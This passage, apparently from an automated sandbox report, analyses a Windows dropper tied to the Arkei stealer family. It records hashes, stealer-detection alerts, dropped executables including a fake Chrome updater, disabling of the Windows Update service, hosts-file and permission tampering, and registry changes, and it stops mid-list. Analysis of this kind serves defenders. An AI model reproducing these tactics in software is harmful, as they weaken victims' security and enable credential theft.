Analysis
-
max time kernel
182s -
max time network
182s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
08-07-2022 13:37
Static task
static1
Behavioral task
behavioral1
Sample
Malware_Dropper.exe
Resource
win7-20220414-en
General
-
Target
Malware_Dropper.exe
-
Size
20.5MB
-
MD5
59d02f49a025628102ce6f5614c88f9f
-
SHA1
72d54917f8532bb434f645f09ede4e8cf9fcabed
-
SHA256
641438e98f1ea2def285e5ba391435bf4b96bc95e351cfacf7be1c5729e7e365
-
SHA512
48dcda93fb6eb51d772b1387eb3ae956259b39d5fb9fd37b6a41e13c23a5885cc2fbcde1bca65c0c64c397faf90d0cc222959594718f33638188ec6adc61511a
Malware Config
Extracted
arkei
Default
Signatures
-
Modifies security service 2 TTPs 5 IoCs
Processes:
reg.exedescription ioc process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
Malware_Dropper.exedescription pid process target process PID 4600 created 3152 4600 Malware_Dropper.exe Explorer.EXE -
suricata: ET MALWARE Base64 Encoded Stealer Config from Server - APPDATA or USERPROFILE Environment Variable M4
suricata: ET MALWARE Base64 Encoded Stealer Config from Server - APPDATA or USERPROFILE Environment Variable M4
-
Drops file in Drivers directory 1 IoCs
Processes:
yolo.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts yolo.exe -
Executes dropped EXE 3 IoCs
Processes:
yolo.exeUnamDownloader.exeupdater.exepid process 5052 yolo.exe 3736 UnamDownloader.exe 2368 updater.exe -
Possible privilege escalation attempt 2 IoCs
Processes:
takeown.exeicacls.exepid process 3416 takeown.exe 5036 icacls.exe -
Stops running service(s) 3 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Malware_Dropper.exeyolo.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation Malware_Dropper.exe Key value queried \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation yolo.exe -
Modifies file permissions 1 TTPs 2 IoCs
Processes:
takeown.exeicacls.exepid process 3416 takeown.exe 5036 icacls.exe -
Drops file in System32 directory 3 IoCs
Processes:
powershell.EXEpowershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
Malware_Dropper.exedescription pid process target process PID 4600 set thread context of 3560 4600 Malware_Dropper.exe Malware_Dropper.exe -
Drops file in Program Files directory 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Program Files\Google\Chrome\updater.exe powershell.exe File opened for modification C:\Program Files\Google\Chrome\updater.exe powershell.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exepid process 4904 sc.exe 3128 sc.exe 2620 sc.exe 4432 sc.exe 448 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
taskmgr.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEpowershell.exeupdater.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" updater.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" updater.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE -
Modifies registry class 57 IoCs
Processes:
UnamDownloader.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\MRUListEx = ffffffff UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell UnamDownloader.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 50003100000000008f54570f100041646d696e003c0009000400efbe8f54c206e95435012e0000007fe10100000001000000000000000000000000000000997eb000410064006d0069006e00000014000000 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = 00000000ffffffff UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1" UnamDownloader.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic" UnamDownloader.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic" UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4" UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "2" UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0" UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 = 4e00310000000000e9545701100054656d7000003a0009000400efbe8f54c206e95457012e0000009ee1010000000100000000000000000000000000000002287f00540065006d007000000014000000 UnamDownloader.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}" UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1" UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 = 56003100000000008f54c20612004170704461746100400009000400efbe8f54c206e95435012e0000008ae101000000010000000000000000000000000000008338f4004100700070004400610074006100000016000000 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 3a001f42665c8d01334507439b53224de2ed1fe6260001002600efbe110000008e8c52af6350d801045c807b6550d801045c807b6550d80114000000 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\0\NodeSlot = "1" UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7} UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000 UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0" UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0 = 5000310000000000e954360110004c6f63616c003c0009000400efbe8f54c206e95436012e0000009de101000000010000000000000000000000000000003fe5e0004c006f00630061006c00000014000000 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 78003100000000008f54c2061100557365727300640009000400efbe874f7748e95435012e000000c70500000000010000000000000000003a0000000000d26d0e0155007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0 UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\MRUListEx = 00000000ffffffff UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\0\0\MRUListEx = 00000000ffffffff UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16" UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1" UnamDownloader.exe Set value (int) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257" UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2 UnamDownloader.exe Key created \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags UnamDownloader.exe Set value (data) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202 UnamDownloader.exe -
Modifies registry key 1 TTPs 9 IoCs
Processes:
reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exepid process 736 reg.exe 2008 reg.exe 4612 reg.exe 5056 reg.exe 5060 reg.exe 3016 reg.exe 1636 reg.exe 3464 reg.exe 3936 reg.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
taskmgr.exepowershell.exepid process 3136 taskmgr.exe 3136 taskmgr.exe 1072 powershell.exe 1072 powershell.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe 3136 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
taskmgr.exepid process 3136 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
taskmgr.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exeyolo.exetakeown.exepowershell.exedescription pid process Token: SeDebugPrivilege 3136 taskmgr.exe Token: SeSystemProfilePrivilege 3136 taskmgr.exe Token: SeCreateGlobalPrivilege 3136 taskmgr.exe Token: SeDebugPrivilege 1072 powershell.exe Token: SeShutdownPrivilege 1608 powercfg.exe Token: SeCreatePagefilePrivilege 1608 powercfg.exe Token: SeShutdownPrivilege 3376 powercfg.exe Token: SeCreatePagefilePrivilege 3376 powercfg.exe Token: SeShutdownPrivilege 4876 powercfg.exe Token: SeCreatePagefilePrivilege 4876 powercfg.exe Token: SeShutdownPrivilege 4720 powercfg.exe Token: SeCreatePagefilePrivilege 4720 powercfg.exe Token: SeDebugPrivilege 5052 yolo.exe Token: SeTakeOwnershipPrivilege 3416 takeown.exe Token: SeDebugPrivilege 2188 powershell.exe Token: SeIncreaseQuotaPrivilege 2188 powershell.exe Token: SeSecurityPrivilege 2188 powershell.exe Token: SeTakeOwnershipPrivilege 2188 powershell.exe Token: SeLoadDriverPrivilege 2188 powershell.exe Token: SeSystemProfilePrivilege 2188 powershell.exe Token: SeSystemtimePrivilege 2188 powershell.exe Token: SeProfSingleProcessPrivilege 2188 powershell.exe Token: SeIncBasePriorityPrivilege 2188 powershell.exe Token: SeCreatePagefilePrivilege 2188 powershell.exe Token: SeBackupPrivilege 2188 powershell.exe Token: SeRestorePrivilege 2188 powershell.exe Token: SeShutdownPrivilege 2188 powershell.exe Token: SeDebugPrivilege 2188 powershell.exe Token: SeSystemEnvironmentPrivilege 2188 powershell.exe Token: SeRemoteShutdownPrivilege 2188 powershell.exe Token: SeUndockPrivilege 2188 powershell.exe Token: SeManageVolumePrivilege 2188 powershell.exe Token: 33 2188 powershell.exe Token: 34 2188 powershell.exe Token: 35 2188 powershell.exe Token: 36 2188 powershell.exe Token: SeIncreaseQuotaPrivilege 2188 powershell.exe Token: SeSecurityPrivilege 2188 powershell.exe Token: SeTakeOwnershipPrivilege 2188 powershell.exe Token: SeLoadDriverPrivilege 2188 powershell.exe Token: SeSystemProfilePrivilege 2188 powershell.exe Token: SeSystemtimePrivilege 2188 powershell.exe Token: SeProfSingleProcessPrivilege 2188 powershell.exe Token: SeIncBasePriorityPrivilege 2188 powershell.exe Token: SeCreatePagefilePrivilege 2188 powershell.exe Token: SeBackupPrivilege 2188 powershell.exe Token: SeRestorePrivilege 2188 